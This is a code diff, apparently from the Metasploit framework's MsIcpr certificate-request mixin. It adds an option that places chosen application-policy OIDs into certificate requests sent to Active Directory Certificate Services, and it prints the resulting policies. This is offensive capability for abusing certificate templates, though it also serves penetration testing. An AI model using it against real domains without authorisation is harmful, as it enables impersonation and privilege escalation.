@@ -22,6 +22,8 @@ module Exploit::Remote::MsIcpr
22
22
OID_NTDS_OBJECTSID = '1.3.6.1.4.1.311.25.2.1' . freeze
23
23
# [[MS-WCCE]: 2.2.2.7.10 szENROLLMENT_NAME_VALUE_PAIR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/92f07a54-2889-45e3-afd0-94b60daa80ec)
24
24
OID_ENROLLMENT_NAME_VALUE_PAIR = '1.3.6.1.4.1.311.13.2.1' . freeze
25
+ # [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)
26
+ OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10' . freeze
25
27
26
28
class MsIcprError < StandardError ; end
27
29
class MsIcprConnectionError < MsIcprError ; end
@@ -39,6 +41,7 @@ def initialize(info = {})
39
41
OptString . new ( 'ALT_DNS' , [ false , 'Alternative certificate DNS' ] ) ,
40
42
OptString . new ( 'ALT_SID' , [ false , 'Alternative object SID' ] ) ,
41
43
OptString . new ( 'ALT_UPN' , [ false , 'Alternative certificate UPN (format: USER@DOMAIN)' ] ) ,
44
+ OptString . new ( 'ADD_CERT_APP_POLICY' , [ false , 'Add certificate application policy OIDs' ] , regex : /^\d +(\. \d +)+(([;,]\s *|\s +)\d +(\. \d +)+)*$/ ) ,
42
45
OptPath . new ( 'PFX' , [ false , 'Certificate to request on behalf of' ] ) ,
43
46
OptString . new ( 'ON_BEHALF_OF' , [ false , 'Username to request on behalf of (format: DOMAIN\\USER)' ] ) ,
44
47
Opt ::RPORT ( 445 )
@@ -131,6 +134,7 @@ def do_request_cert(icpr, opts)
131
134
alt_sid = opts [ :alt_sid ] || ( datastore [ 'ALT_SID' ] . blank? ? nil : datastore [ 'ALT_SID' ] )
132
135
alt_upn = opts [ :alt_upn ] || ( datastore [ 'ALT_UPN' ] . blank? ? nil : datastore [ 'ALT_UPN' ] )
133
136
algorithm = opts [ :algorithm ] || datastore [ 'DigestAlgorithm' ]
137
+ application_policies = opts [ :add_cert_app_policy ] || ( datastore [ 'ADD_CERT_APP_POLICY' ] . blank? ? nil : datastore [ 'ADD_CERT_APP_POLICY' ] . split ( /[;,]\s *|\s +/ ) )
134
138
status_msg << " - alternate DNS: #{ alt_dns } " if alt_dns
135
139
status_msg << " - alternate UPN: #{ alt_upn } " if alt_upn
136
140
status_msg << " - digest algorithm: #{ algorithm } " if algorithm
@@ -140,7 +144,8 @@ def do_request_cert(icpr, opts)
140
144
dns : alt_dns ,
141
145
msext_sid : alt_sid ,
142
146
msext_upn : alt_upn ,
143
- algorithm : algorithm
147
+ algorithm : algorithm ,
148
+ application_policies : application_policies
144
149
)
145
150
146
151
on_behalf_of = opts [ :on_behalf_of ] || ( datastore [ 'ON_BEHALF_OF' ] . blank? ? nil : datastore [ 'ON_BEHALF_OF' ] )
@@ -205,6 +210,13 @@ def do_request_cert(icpr, opts)
205
210
print_status ( "Certificate UPN: #{ upn . join ( ', ' ) } " )
206
211
end
207
212
213
+ unless ( policy_oids = get_cert_policy_oids ( response [ :certificate ] ) ) . empty?
214
+ print_status ( "Certificate Policies:" )
215
+ policy_oids . each do |oid |
216
+ print_status ( " * #{ oid . value } " + ( oid . label . present? ? " (#{ oid . label } )" : '' ) )
217
+ end
218
+ end
219
+
208
220
pkcs12 = OpenSSL ::PKCS12 . create ( '' , '' , private_key , response [ :certificate ] )
209
221
# see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
210
222
info = "#{ simple . client . default_domain } \\ #{ datastore [ 'SMBUser' ] } Certificate"
@@ -239,8 +251,10 @@ def do_request_cert(icpr, opts)
239
251
# @param [String] dns An alternative DNS name to use.
240
252
# @param [String] msext_sid An explicit SID to specify for strong identity mapping.
241
253
# @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature).
254
+ # @param [String] algorithm The algorithm to use when signing the CSR.
255
+ # @param [Array<String>] application_policies OIDs to add as application policies.
242
256
# @return [OpenSSL::X509::Request] The request object.
243
- def build_csr ( cn :, private_key :, dns : nil , msext_sid : nil , msext_upn : nil , algorithm : 'SHA256' )
257
+ def build_csr ( cn :, private_key :, dns : nil , msext_sid : nil , msext_upn : nil , algorithm : 'SHA256' , application_policies : [ ] )
244
258
request = OpenSSL ::X509 ::Request . new
245
259
request . version = 1
246
260
request . subject = OpenSSL ::X509 ::Name . new ( [
@@ -265,6 +279,14 @@ def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algor
265
279
extensions << OpenSSL ::X509 ::Extension . new ( OID_NTDS_CA_SECURITY_EXT , ntds_ca_security_ext . to_der , false )
266
280
end
267
281
282
+ unless application_policies . empty?
283
+ # todo: need to work this out so application_policies is processed as a proper array
284
+ application_cert_policies = Rex ::Proto ::CryptoAsn1 ::X509 ::CertificatePolicies . new (
285
+ certificatePolicies : application_policies . map { |policy_oid | Rex ::Proto ::CryptoAsn1 ::X509 ::PolicyInformation . new ( policyIdentifier : policy_oid ) }
286
+ )
287
+ extensions << OpenSSL ::X509 ::Extension . new ( OID_APPLICATION_CERT_POLICIES , application_cert_policies . to_der , false )
288
+ end
289
+
268
290
unless extensions . empty?
269
291
request . add_attribute ( OpenSSL ::X509 ::Attribute . new (
270
292
'extReq' ,
@@ -349,6 +371,19 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
349
371
)
350
372
end
351
373
374
+ # Get the certificate policy OIDs from the certificate.
375
+ #
376
+ # @param [OpenSSL::X509::Certificate] cert
377
+ # @return [Array<Rex::Proto::CryptoAsn1::ObjectId>] The policy OIDs if any were found.
378
+ def get_cert_policy_oids ( cert )
379
+ ext = cert . extensions . find { |e | e . oid == 'ms-app-policies' }
380
+ return [ ] unless ext
381
+
382
+ cert_policies = Rex ::Proto ::CryptoAsn1 ::X509 ::CertificatePolicies . parse ( ext . value_der )
383
+ cert_policies . value . map { |policy_info | Rex ::Proto ::CryptoAsn1 ::OIDs . value ( policy_info [ :policyIdentifier ] . value ) }
384
+ end
385
+
386
+
352
387
# Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.
353
388
#
354
389
# @param [OpenSSL::X509::Certificate] cert
@@ -402,7 +437,6 @@ def get_cert_san_dns(cert)
402
437
end
403
438
end
404
439
405
-
406
440
# Get the E-mail addresses from the certificate.
407
441
#
408
442
# @param [OpenSSL::X509::Certificate] cert
0 commit comments